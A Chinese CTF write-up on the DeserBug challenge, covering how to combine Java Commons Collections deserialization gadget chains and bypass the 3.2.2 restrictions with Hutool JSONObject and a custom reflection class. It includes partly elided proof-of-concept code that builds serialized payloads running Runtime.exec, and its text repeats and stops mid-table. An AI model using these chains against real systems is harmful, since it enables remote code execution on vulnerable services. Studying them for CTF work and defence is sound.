一道CTF题(DeserBug)引发的Java反序列化链组合拼接方法思考
字数 4043
更新时间 2025-12-30 12:21:29

Java反序列化链组合拼接方法详解

1. 背景介绍

1.1 CTF题目环境分析

  • Web服务: Hutool HTTP Server (端口8888)
  • 依赖库: Commons Collections 3.2.2(带安全检查) + hutool-all-5.8.18
  • JDK版本: JDK1.8.0_202
  • 关键提示: cn.hutool.json.JSONObject.putcom.app.Myexpect#getAnyexcept

1.2 题目核心文件

1.2.1 Testapp.java(存在漏洞的Web服务)

public class Testapp {
    public static void main(String[] args) {
        HttpUtil.createServer(8888).addAction("/", (request, response) -> {
            String bugstr = request.getParam("bugstr");
            try {
                // 【漏洞点】直接反序列化用户输入
                byte[] decode = Base64.getDecoder().decode(bugstr);
                ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(decode));
                Object object = ois.readObject();
                result = object.toString();
            } catch (Exception e) {
                // 【关键提示】异常处理中使用Myexpect
                Myexpect myexpect = new Myexpect();
                myexpect.setTypeparam(new Class[]{String.class});
                myexpect.setTypearg(new String[]{e.toString()});
                myexpect.setTargetclass(e.getClass());
                result = myexpect.getAnyexcept().toString();
            }
            response.write(result, ContentType.TEXT_PLAIN.toString());
        }).start();
    }
}

1.2.2 Myexpect.java(反射工具类)

public class Myexpect extends Exception {
    private Class targetclass;    // 目标类
    private Class[] typeparam;    // 构造器参数类型
    private Object[] typearg;     // 构造器参数值
    
    // 【核心方法】通过反射调用任意构造器
    public Object getAnyexcept() throws Exception {
        Constructor con = targetclass.getConstructor(typeparam);
        return con.newInstance(typearg);
    }
    
    // Getter/Setter省略...
}

2. 漏洞分析

2.1 漏洞点

// Testapp.java - 反序列化入口
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(decode));
Object object = ois.readObject(); // 危险的反序列化操作

2.2 环境约束

Commons Collections 3.2.2 安全限制:

  • ❌ InvokerTransformer - 反射调用方法(已禁用)
  • ❌ InstantiateTransformer - 反射调用构造器(已禁用)
  • ✅ ConstantTransformer - 仅返回常量(可用)

2.3 突破点

Myexpect类的优势:

  • ✅ 可序列化(继承自Exception)
  • ✅ 提供getAnyexcept()方法反射调用任意构造器
  • ✅ 不受CC 3.2.2安全检查限制

3. CC链基础知识

3.1 CC1链原理

3.1.1 核心组件

// 使用TransformedMap在setValue时触发
Map innerMap = new HashMap();
innerMap.put("value", "test");
Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, 
                          new Object[]{"getRuntime", new Class[0]}),
    new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, 
                          new Object[]{null, new Object[0]}),
    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
Map transformedMap = TransformedMap.decorate(innerMap, null, new ChainedTransformer(transformers));

// 使用AnnotationInvocationHandler触发
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
Object obj = construct.newInstance(Retention.class, transformedMap);

3.1.2 调用链

AnnotationInvocationHandler.readObject()
 → memberValues.entrySet()遍历
 → TransformedMap.setValue() // 当key="value"时触发
 → ChainedTransformer.transform()
 → ConstantTransformer → 返回Runtime.class
 → InvokerTransformer链式调用
 → Runtime.getRuntime().exec() → RCE

3.1.3 失效原因

JDK 8u71+限制:

// AnnotationInvocationHandler.readObject()在JDK 8u71+中增加了类型检查
private void readObject(ObjectInputStream s) {
    // ...
    AnnotationType annotationType = null;
    try {
        annotationType = AnnotationType.getInstance(type);
    } catch(IllegalArgumentException e) {
        throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
    }
    
    Map<String, Class<?>> memberTypes = annotationType.memberTypes();
    for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
        String name = memberValue.getKey();
        Class<?> memberType = memberTypes.get(name);
        if (memberType != null) { // ❌必须是注解的合法成员
            Object value = memberValue.getValue();
            if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) {
                memberValue.setValue( // 只有这里会调用setValue
                    new AnnotationTypeMismatchExceptionProxy(
                        value.getClass() + "[" + value + "]"));
            }
        }
    }
}

CC 3.2.2限制:

// InvokerTransformer.readObject()
private void readObject(ObjectInputStream is) {
    FunctorUtils.checkUnsafeSerialization(InvokerTransformer.class); // ❌抛异常
}

3.2 CC3链原理

3.2.1 核心组件

// 使用InstantiateTransformer调用构造器
Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(TrAXFilter.class),
    new InstantiateTransformer(
        new Class[]{Templates.class},
        new Object[]{templates}
    )
};

// 使用动态代理触发
Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, new ChainedTransformer(transformers));

// AnnotationInvocationHandler作为InvocationHandler
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, lazyMap);

// 创建代理对象
Map proxyMap = (Map) Proxy.newProxyInstance(
    Map.class.getClassLoader(),
    new Class[]{Map.class},
    handler
);

// 再次封装
Object obj = construct.newInstance(Retention.class, proxyMap);

3.2.2 调用链

AnnotationInvocationHandler.readObject()
 → memberValues.entrySet() // memberValues是proxyMap
 → 代理对象方法调用
 → AnnotationInvocationHandler.invoke()
 → LazyMap.get()
 → ChainedTransformer.transform()
 → ConstantTransformer → 返回TrAXFilter.class
 → InstantiateTransformer.transform()
 → Constructor.newInstance(templates) // 反射调用构造器
 → new TrAXFilter(templates)
 → templates.newTransformer() → RCE

3.2.3 失效原因

CC 3.2.2限制:

// InstantiateTransformer.readObject()
private void readObject(ObjectInputStream is) {
    FunctorUtils.checkUnsafeSerialization(InstantiateTransformer.class); // ❌抛异常
}

3.3 CC6链原理

3.3.1 核心组件

// 使用InvokerTransformer直接反射调用方法
Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", ...), // 获取方法
    new InvokerTransformer("invoke", ...),    // 调用方法
    new InvokerTransformer("exec", ...)       // 执行命令
};

// 使用HashMap + TiedMapEntry + LazyMap触发
HashMap hashMap = new HashMap();
TiedMapEntry entry = new TiedMapEntry(lazyMap, "key");
hashMap.put(entry, "value");

3.3.2 调用链

HashMap.readObject()
 → hash(key)
 → TiedMapEntry.hashCode()
 → getValue()
 → LazyMap.get(key)
 → ChainedTransformer.transform()
 → InvokerTransformer链式调用 → Runtime.exec() → RCE

3.4 CC链核心区别对比

特性 CC1 CC3 CC6
Commons Collections版本 ≤3.2.1 ≤3.2.1 ≤3.2.1
JDK版本限制 ≤JDK 8u71 8u71+可用(部分版本) 无限制
触发类 AnnotationInvocationHandler AnnotationInvocationHandler HashMap
触发方式 TransformedMap.setValue() 动态代理 + LazyMap.get() TiedMapEntry.hashCode() → LazyMap.get()
核心Transformer InvokerTransformer InstantiateTransformer InvokerTransformer
攻击目标 Runtime.exec() TrAXFilter → TemplatesImpl Runtime.exec()
优点 简单直接 绕过JDK 8u71限制,字节码加载隐蔽 JDK兼容性最好
缺点 JDK 8u71+失效 高版本JDK可能失效 直接调用Runtime易被拦截

4. 解题思路与实现

4.1 核心思路

使用Myexpect替代被禁用的InstantiateTransformer,利用Hutool JSONObject的JSON序列化机制自动触发getter方法。

4.2 技术选型

组件 选择 原因
触发方式 CC6 (HashMap + TiedMapEntry + LazyMap) JDK通用,触发稳定
攻击目标 CC3 (TrAXFilter + TemplatesImpl) 构造器触发,适配Myexpect
绕过手段 ConstantTransformer + JSONObject 返回Myexpect对象,JSON序列化触发getter

4.3 完整利用链

HashMap.readObject()
 → TiedMapEntry.hashCode()
 → LazyMap.get(key)
 → ConstantTransformer.transform() // 返回Myexpect对象
 → JSONObject.put(key, myexpect)   // JSON序列化触发
 → Myexpect.getAnyexcept()         // 反射调用构造器
 → new TrAXFilter(templates)
 → TemplatesImpl.newTransformer()
 → 加载恶意字节码 → RCE ✅

4.4 完整POC实现

public class MyPOC {
    public static void main(String[] args) throws Exception {
        // 准备TemplatesImpl字节码
        byte[] bytes = getTemplates();
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_name", "1");
        setFieldValue(templates, "_bytecodes", new byte[][]{bytes});
        
        // 配置Myexpect调用TrAXFilter构造器
        Myexpect myexpect = new Myexpect();
        myexpect.setTargetclass(TrAXFilter.class);
        myexpect.setTypeparam(new Class[]{Templates.class});
        myexpect.setTypearg(new Object[]{templates});
        
        // 构造LazyMap触发链
        JSONObject jsonObject = new JSONObject();
        ConstantTransformer transformer = new ConstantTransformer(1);
        LazyMap lazyMap = (LazyMap) LazyMap.decorate(jsonObject, transformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "111");
        
        // HashMap触发 + 时序控制
        HashMap hashMap = new HashMap();
        hashMap.put(tiedMapEntry, "1");
        jsonObject.remove("111"); // 确保反序列化时触发
        setFieldValue(transformer, "iConstant", myexpect);
        
        // 生成payload
        byte[] serialize = serialize(hashMap);
        System.out.println(Base64.getEncoder().encodeToString(serialize));
    }
    
    public static byte[] getTemplates() throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass template = pool.makeClass("Test");
        template.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
        String block = "Runtime.getRuntime().exec(\"calc\");";
        // ... 字节码生成逻辑
    }
}

5. 关键机制解析

5.1 JSONObject.put触发getAnyexcept()

核心原理: Hutool JSONObject.put()会调用BeanUtil.beanToMap(),自动反射调用对象的所有getter方法。

LazyMap.get("111")
 → transformer.transform("111")    // 返回Myexpect对象
 → jsonObject.put("111", myexpect) // JSONObject序列化
 → getAnyexcept()被自动调用!

关键: 使用JSONObject而非普通HashMap作为LazyMap底层Map。

5.2 jsonObject.remove("111")的作用

确保反序列化时触发transform:

  • 构造时: hashMap.put() → jsonObject.put("111", 1)
  • 清理: jsonObject.remove("111")
  • 反序列化: lazyMap.get("111") → !containsKey("111") → 调用transform()

不remove则: LazyMap直接返回已存在值,不触发transform。

5.3 选择TrAXFilter + TemplatesImpl的原因

Myexpect限制: 只能调用构造器,不能调用普通方法。

TrAXFilter优势:

public TrAXFilter(Templates templates) {
    _transformer = templates.newTransformer(); // 构造器中自动触发
}
  • ❌ Runtime构造器是private的
  • ✅ TrAXFilter构造器是public的,且内部自动调用newTransformer()

6. 反序列化链拼接原理

6.1 链的基本结构

任何反序列化攻击链都可以分解为三个独立模块:

[触发器 Trigger] → [传递机制 Chain] → [攻击目标 Sink]
     ↓                 ↓                 ↓
  入口点           Transformer        危险操作

6.2 常见组件分类

6.2.1 触发器(Trigger)- 决定何时执行

触发器 入口方法 JDK要求
HashMap readObject() → hash() → hashCode() 任意版本
PriorityQueue readObject() → heapify() → compare() 任意版本
BadAttributeValueExpException readObject() → toString() 任意版本
AnnotationInvocationHandler readObject() → entrySet() → setValue() ≤JDK 8u71

6.2.2 传递机制(Chain)- 如何传递到目标

传递机制 特点 CC版本要求
LazyMap 延迟加载,访问不存在的key触发 任意版本
TransformedMap 修改value时触发 任意版本
ChainedTransformer 链式调用多个Transformer 任意版本
InvokerTransformer 反射调用方法 ≤3.2.1
InstantiateTransformer 反射调用构造器 ≤3.2.1
ConstantTransformer 返回常量 任意版本

6.2.3 攻击目标(Sink)- 最终执行什么

攻击目标 触发方式 特点
Runtime.exec() 方法调用 直接但容易被拦截
TemplatesImpl字节码 构造器或方法触发 隐蔽,绕过SecurityManager
URLClassLoader 加载远程类 需要网络访问
JNDI注入 lookup()调用 强大但有JDK版本限制

6.3 拼接三原则

6.3.1 原则1:接口匹配

触发器必须能调用传递机制的入口方法

// ✅ 正确:HashMap.hash()调用TiedMapEntry.hashCode()
HashMap  TiedMapEntry.hashCode()  LazyMap.get()

// ❌ 错误:HashMap不会调用toString()
HashMap  BadAttributeValueExpException.toString() // 不匹配!

6.3.2 原则2:参数兼容

上一步的输出必须是下一步的输入

// ✅ 正确:transform()接受Object返回Object,可以链式调用
ConstantTransformer.transform()  返回TrAXFilter.class (Object)
 
InstantiateTransformer.transform(Object)  接受Class对象

// ❌ 错误:类型不匹配
ConstantTransformer  返回String
 
InstantiateTransformer  需要Class对象 // 类型不匹配!

6.3.3 原则3:版本限制

检查每个组件的可用性

// CC 3.2.2环境
 LazyMapConstantTransformerHashMap // 可用
 InvokerTransformerInstantiateTransformer // 被禁用

6.4 经典组合示例

6.4.1 CC6 = HashMap触发 + InvokerTransformer链 + Runtime.exec()

// [触发器] HashMap
HashMap hashMap = new HashMap();
TiedMapEntry entry = new TiedMapEntry(lazyMap, "key");
hashMap.put(entry, "value");

// [传递机制] LazyMap + InvokerTransformer链
Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", ...),
    new InvokerTransformer("invoke", ...),
    new InvokerTransformer("exec", ...)
};
LazyMap lazyMap = LazyMap.decorate(new HashMap(), new ChainedTransformer(transformers));

// [攻击目标] Runtime.exec()
// 调用链:
// HashMap.readObject() → TiedMapEntry.hashCode() → LazyMap.get() 
// → ChainedTransformer → Runtime.exec()

6.4.2 CC1 = TransformedMap触发 + InvokerTransformer + Runtime.exec()

// [触发器] AnnotationInvocationHandler + TransformedMap
Map<String, Object> innerMap = new HashMap<>();
innerMap.put("value", "test");
Map transformedMap = TransformedMap.decorate(innerMap, null, chainedTransformer);

// [传递机制] InvokerTransformer
Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, 
                          new Object[]{"getRuntime", new Class[0]}),
    new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, 
                          new Object[]{null, new Object[0]}),
    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};

// [攻击目标] Runtime.exec()
// 调用链:
// AnnotationInvocationHandler.readObject() → TransformedMap.setValue()
// → ChainedTransformer → InvokerTransformer链
// → Runtime.getRuntime().exec() → RCE

6.4.3 CC3 = 动态代理触发 + InstantiateTransformer + TemplatesImpl

// [触发器] AnnotationInvocationHandler + 动态代理 + LazyMap
Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, chainedTransformer);
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, lazyMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);

// [传递机制] InstantiateTransformer
Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(TrAXFilter.class),
    new InstantiateTransformer(
        new Class[]{Templates.class},
        new Object[]{templates}
    )
};

// [攻击目标] TemplatesImpl字节码加载
// 调用链:
// AnnotationInvocationHandler.readObject() → proxyMap.entrySet()
// → 动态代理invoke() → LazyMap.get() → ChainedTransformer → InstantiateTransformer 
// → new TrAXFilter(templates) → templates.newTransformer() → 字节码加载

6.4.4 CC6触发 + CC3攻击(完整实现)

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class CC6TriggerCC3Attack {
    public static void main(String[] args) throws Exception {
        // 1. 准备恶意字节码 - 使用TemplatesImpl
        byte[] code = getEvilBytecode();
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_name", "HelloTemplatesImpl");
        setFieldValue(templates, "_bytecodes", new byte[][]{code});
        setFieldValue(templates, "_tfactory", null);
        
        // 2. 构造Transformer链 - 使用CC3的InstantiateTransformer
        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(TrAXFilter.class),
            new InstantiateTransformer(
                new Class[]{Templates.class},
                new Object[]{templates}
            )
        };
        // ... 完整实现
    }
}

完整调用链:

HashMap.readObject() ← CC6的触发器(最稳定)
 ↓
hash(tiedMapEntry)
 ↓
TiedMapEntry.hashCode()
 ↓
TiedMapEntry.getValue()
 ↓
LazyMap.get("key")
 ↓
ChainedTransformer.transform()
 ↓
ConstantTransformer.transform() → 返回TrAXFilter.class
 ↓
InstantiateTransformer.transform() ← CC3的传递机制
 ↓
new TrAXFilter(templates) ← CC3的攻击目标(构造器触发)
 ↓
templates.newTransformer()
 ↓
TemplatesImpl.getTransletInstance()
 ↓
TemplatesImpl.defineTransletClasses()
 ↓
加载恶意字节码 → 静态代码块执行 → RCE ✅

为什么这样组合?

  • 稳定性: HashMap触发不依赖JDK版本,比AnnotationInvocationHandler更通用
  • 隐蔽性: TemplatesImpl字节码加载比Runtime.exec()更难被WAF/RASP检测
  • 绕过能力: 可绕过SecurityManager和部分安全防护

注意: 此组合在CC 3.2.1及以下版本可用,CC 3.2.2中InstantiateTransformer被禁用,需要用Myexpect方式绕过。

7. 实战拼接步骤

7.1 步骤1:确定环境约束

// 检查清单
 JDK版本?
 Commons Collections版本?
 是否有SecurityManager
 是否有其他防护措施?

7.2 步骤2:选择触发器

// 优先级
1. HashMap(最通用)
2. PriorityQueue(需要Comparator
3. BadAttributeValueExpException(依赖toString

7.3 步骤3:选择攻击目标

// 根据环境选择
if (需要绕过SecurityManager) {
    使用TemplatesImpl字节码加载
} else if (简单直接) {
    使用Runtime.exec()
}

7.4 步骤4:构建传递链

// 根据约束选择
if (CC版本 <= 3.2.1) {
    可用InvokerTransformerInstantiateTransformer
} else {
    只能用ConstantTransformer + 自定义类(如Myexpect
}

7.5 步骤5:测试验证

// 1. 本地测试序列化
byte[] payload = serialize(gadget);

// 2. 反序列化验证
deserialize(payload); // 观察是否触发

// 3. 调试跟踪
// 在关键方法打断点,确认调用链正确

8. 拼接核心思路总结

  1. 模块化思维: 把链分解为触发、传递、攻击三个独立模块
  2. 接口匹配: 确保上下游方法能正确调用
  3. 灵活组合: 取不同链的优点进行组合
  4. 创新绕过: 遇到限制时寻找替代方案

核心要点: 反序列化链不是固定的,可以像乐高积木一样自由拼接。关键是理解每个组件的功能和接口,然后根据环境约束进行创新组合。

Java反序列化链组合拼接方法详解

1. 背景介绍

1.1 CTF题目环境分析

  • Web服务: Hutool HTTP Server (端口8888)
  • 依赖库: Commons Collections 3.2.2(带安全检查) + hutool-all-5.8.18
  • JDK版本: JDK1.8.0_202
  • 关键提示: cn.hutool.json.JSONObject.putcom.app.Myexpect#getAnyexcept

1.2 题目核心文件

1.2.1 Testapp.java(存在漏洞的Web服务)

public class Testapp {
    public static void main(String[] args) {
        HttpUtil.createServer(8888).addAction("/", (request, response) -> {
            String bugstr = request.getParam("bugstr");
            try {
                // 【漏洞点】直接反序列化用户输入
                byte[] decode = Base64.getDecoder().decode(bugstr);
                ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(decode));
                Object object = ois.readObject();
                result = object.toString();
            } catch (Exception e) {
                // 【关键提示】异常处理中使用Myexpect
                Myexpect myexpect = new Myexpect();
                myexpect.setTypeparam(new Class[]{String.class});
                myexpect.setTypearg(new String[]{e.toString()});
                myexpect.setTargetclass(e.getClass());
                result = myexpect.getAnyexcept().toString();
            }
            response.write(result, ContentType.TEXT_PLAIN.toString());
        }).start();
    }
}

1.2.2 Myexpect.java(反射工具类)

public class Myexpect extends Exception {
    private Class targetclass;    // 目标类
    private Class[] typeparam;    // 构造器参数类型
    private Object[] typearg;     // 构造器参数值
    
    // 【核心方法】通过反射调用任意构造器
    public Object getAnyexcept() throws Exception {
        Constructor con = targetclass.getConstructor(typeparam);
        return con.newInstance(typearg);
    }
    
    // Getter/Setter省略...
}

2. 漏洞分析

2.1 漏洞点

// Testapp.java - 反序列化入口
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(decode));
Object object = ois.readObject(); // 危险的反序列化操作

2.2 环境约束

Commons Collections 3.2.2 安全限制:

  • ❌ InvokerTransformer - 反射调用方法(已禁用)
  • ❌ InstantiateTransformer - 反射调用构造器(已禁用)
  • ✅ ConstantTransformer - 仅返回常量(可用)

2.3 突破点

Myexpect类的优势:

  • ✅ 可序列化(继承自Exception)
  • ✅ 提供getAnyexcept()方法反射调用任意构造器
  • ✅ 不受CC 3.2.2安全检查限制

3. CC链基础知识

3.1 CC1链原理

3.1.1 核心组件

// 使用TransformedMap在setValue时触发
Map innerMap = new HashMap();
innerMap.put("value", "test");
Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, 
                          new Object[]{"getRuntime", new Class[0]}),
    new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, 
                          new Object[]{null, new Object[0]}),
    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
Map transformedMap = TransformedMap.decorate(innerMap, null, new ChainedTransformer(transformers));

// 使用AnnotationInvocationHandler触发
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
Object obj = construct.newInstance(Retention.class, transformedMap);

3.1.2 调用链

AnnotationInvocationHandler.readObject()
 → memberValues.entrySet()遍历
 → TransformedMap.setValue() // 当key="value"时触发
 → ChainedTransformer.transform()
 → ConstantTransformer → 返回Runtime.class
 → InvokerTransformer链式调用
 → Runtime.getRuntime().exec() → RCE

3.1.3 失效原因

JDK 8u71+限制:

// AnnotationInvocationHandler.readObject()在JDK 8u71+中增加了类型检查
private void readObject(ObjectInputStream s) {
    // ...
    AnnotationType annotationType = null;
    try {
        annotationType = AnnotationType.getInstance(type);
    } catch(IllegalArgumentException e) {
        throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
    }
    
    Map<String, Class<?>> memberTypes = annotationType.memberTypes();
    for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
        String name = memberValue.getKey();
        Class<?> memberType = memberTypes.get(name);
        if (memberType != null) { // ❌必须是注解的合法成员
            Object value = memberValue.getValue();
            if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) {
                memberValue.setValue( // 只有这里会调用setValue
                    new AnnotationTypeMismatchExceptionProxy(
                        value.getClass() + "[" + value + "]"));
            }
        }
    }
}

CC 3.2.2限制:

// InvokerTransformer.readObject()
private void readObject(ObjectInputStream is) {
    FunctorUtils.checkUnsafeSerialization(InvokerTransformer.class); // ❌抛异常
}

3.2 CC3链原理

3.2.1 核心组件

// 使用InstantiateTransformer调用构造器
Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(TrAXFilter.class),
    new InstantiateTransformer(
        new Class[]{Templates.class},
        new Object[]{templates}
    )
};

// 使用动态代理触发
Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, new ChainedTransformer(transformers));

// AnnotationInvocationHandler作为InvocationHandler
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, lazyMap);

// 创建代理对象
Map proxyMap = (Map) Proxy.newProxyInstance(
    Map.class.getClassLoader(),
    new Class[]{Map.class},
    handler
);

// 再次封装
Object obj = construct.newInstance(Retention.class, proxyMap);

3.2.2 调用链

AnnotationInvocationHandler.readObject()
 → memberValues.entrySet() // memberValues是proxyMap
 → 代理对象方法调用
 → AnnotationInvocationHandler.invoke()
 → LazyMap.get()
 → ChainedTransformer.transform()
 → ConstantTransformer → 返回TrAXFilter.class
 → InstantiateTransformer.transform()
 → Constructor.newInstance(templates) // 反射调用构造器
 → new TrAXFilter(templates)
 → templates.newTransformer() → RCE

3.2.3 失效原因

CC 3.2.2限制:

// InstantiateTransformer.readObject()
private void readObject(ObjectInputStream is) {
    FunctorUtils.checkUnsafeSerialization(InstantiateTransformer.class); // ❌抛异常
}

3.3 CC6链原理

3.3.1 核心组件

// 使用InvokerTransformer直接反射调用方法
Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", ...), // 获取方法
    new InvokerTransformer("invoke", ...),    // 调用方法
    new InvokerTransformer("exec", ...)       // 执行命令
};

// 使用HashMap + TiedMapEntry + LazyMap触发
HashMap hashMap = new HashMap();
TiedMapEntry entry = new TiedMapEntry(lazyMap, "key");
hashMap.put(entry, "value");

3.3.2 调用链

HashMap.readObject()
 → hash(key)
 → TiedMapEntry.hashCode()
 → getValue()
 → LazyMap.get(key)
 → ChainedTransformer.transform()
 → InvokerTransformer链式调用 → Runtime.exec() → RCE

3.4 CC链核心区别对比

特性 CC1 CC3 CC6
Commons Collections版本 ≤3.2.1 ≤3.2.1 ≤3.2.1
JDK版本限制 ≤JDK 8u71 8u71+可用(部分版本) 无限制
触发类 AnnotationInvocationHandler AnnotationInvocationHandler HashMap
触发方式 TransformedMap.setValue() 动态代理 + LazyMap.get() TiedMapEntry.hashCode() → LazyMap.get()
核心Transformer InvokerTransformer InstantiateTransformer InvokerTransformer
攻击目标 Runtime.exec() TrAXFilter → TemplatesImpl Runtime.exec()
优点 简单直接 绕过JDK 8u71限制,字节码加载隐蔽 JDK兼容性最好
缺点 JDK 8u71+失效 高版本JDK可能失效 直接调用Runtime易被拦截

4. 解题思路与实现

4.1 核心思路

使用Myexpect替代被禁用的InstantiateTransformer,利用Hutool JSONObject的JSON序列化机制自动触发getter方法。

4.2 技术选型

组件 选择 原因
触发方式 CC6 (HashMap + TiedMapEntry + LazyMap) JDK通用,触发稳定
攻击目标 CC3 (TrAXFilter + TemplatesImpl) 构造器触发,适配Myexpect
绕过手段 ConstantTransformer + JSONObject 返回Myexpect对象,JSON序列化触发getter

4.3 完整利用链

HashMap.readObject()
 → TiedMapEntry.hashCode()
 → LazyMap.get(key)
 → ConstantTransformer.transform() // 返回Myexpect对象
 → JSONObject.put(key, myexpect)   // JSON序列化触发
 → Myexpect.getAnyexcept()         // 反射调用构造器
 → new TrAXFilter(templates)
 → TemplatesImpl.newTransformer()
 → 加载恶意字节码 → RCE ✅

4.4 完整POC实现

public class MyPOC {
    public static void main(String[] args) throws Exception {
        // 准备TemplatesImpl字节码
        byte[] bytes = getTemplates();
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_name", "1");
        setFieldValue(templates, "_bytecodes", new byte[][]{bytes});
        
        // 配置Myexpect调用TrAXFilter构造器
        Myexpect myexpect = new Myexpect();
        myexpect.setTargetclass(TrAXFilter.class);
        myexpect.setTypeparam(new Class[]{Templates.class});
        myexpect.setTypearg(new Object[]{templates});
        
        // 构造LazyMap触发链
        JSONObject jsonObject = new JSONObject();
        ConstantTransformer transformer = new ConstantTransformer(1);
        LazyMap lazyMap = (LazyMap) LazyMap.decorate(jsonObject, transformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "111");
        
        // HashMap触发 + 时序控制
        HashMap hashMap = new HashMap();
        hashMap.put(tiedMapEntry, "1");
        jsonObject.remove("111"); // 确保反序列化时触发
        setFieldValue(transformer, "iConstant", myexpect);
        
        // 生成payload
        byte[] serialize = serialize(hashMap);
        System.out.println(Base64.getEncoder().encodeToString(serialize));
    }
    
    public static byte[] getTemplates() throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass template = pool.makeClass("Test");
        template.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
        String block = "Runtime.getRuntime().exec(\"calc\");";
        // ... 字节码生成逻辑
    }
}

5. 关键机制解析

5.1 JSONObject.put触发getAnyexcept()

核心原理: Hutool JSONObject.put()会调用BeanUtil.beanToMap(),自动反射调用对象的所有getter方法。

LazyMap.get("111")
 → transformer.transform("111")    // 返回Myexpect对象
 → jsonObject.put("111", myexpect) // JSONObject序列化
 → getAnyexcept()被自动调用!

关键: 使用JSONObject而非普通HashMap作为LazyMap底层Map。

5.2 jsonObject.remove("111")的作用

确保反序列化时触发transform:

  • 构造时: hashMap.put() → jsonObject.put("111", 1)
  • 清理: jsonObject.remove("111")
  • 反序列化: lazyMap.get("111") → !containsKey("111") → 调用transform()

不remove则: LazyMap直接返回已存在值,不触发transform。

5.3 选择TrAXFilter + TemplatesImpl的原因

Myexpect限制: 只能调用构造器,不能调用普通方法。

TrAXFilter优势:

public TrAXFilter(Templates templates) {
    _transformer = templates.newTransformer(); // 构造器中自动触发
}
  • ❌ Runtime构造器是private的
  • ✅ TrAXFilter构造器是public的,且内部自动调用newTransformer()

6. 反序列化链拼接原理

6.1 链的基本结构

任何反序列化攻击链都可以分解为三个独立模块:

[触发器 Trigger] → [传递机制 Chain] → [攻击目标 Sink]
     ↓                 ↓                 ↓
  入口点           Transformer        危险操作

6.2 常见组件分类

6.2.1 触发器(Trigger)- 决定何时执行

触发器 入口方法 JDK要求
HashMap readObject() → hash() → hashCode() 任意版本
PriorityQueue readObject() → heapify() → compare() 任意版本
BadAttributeValueExpException readObject() → toString() 任意版本
AnnotationInvocationHandler readObject() → entrySet() → setValue() ≤JDK 8u71

6.2.2 传递机制(Chain)- 如何传递到目标

传递机制 特点 CC版本要求
LazyMap 延迟加载,访问不存在的key触发 任意版本
TransformedMap 修改value时触发 任意版本
ChainedTransformer 链式调用多个Transformer 任意版本
InvokerTransformer 反射调用方法 ≤3.2.1
InstantiateTransformer 反射调用构造器 ≤3.2.1
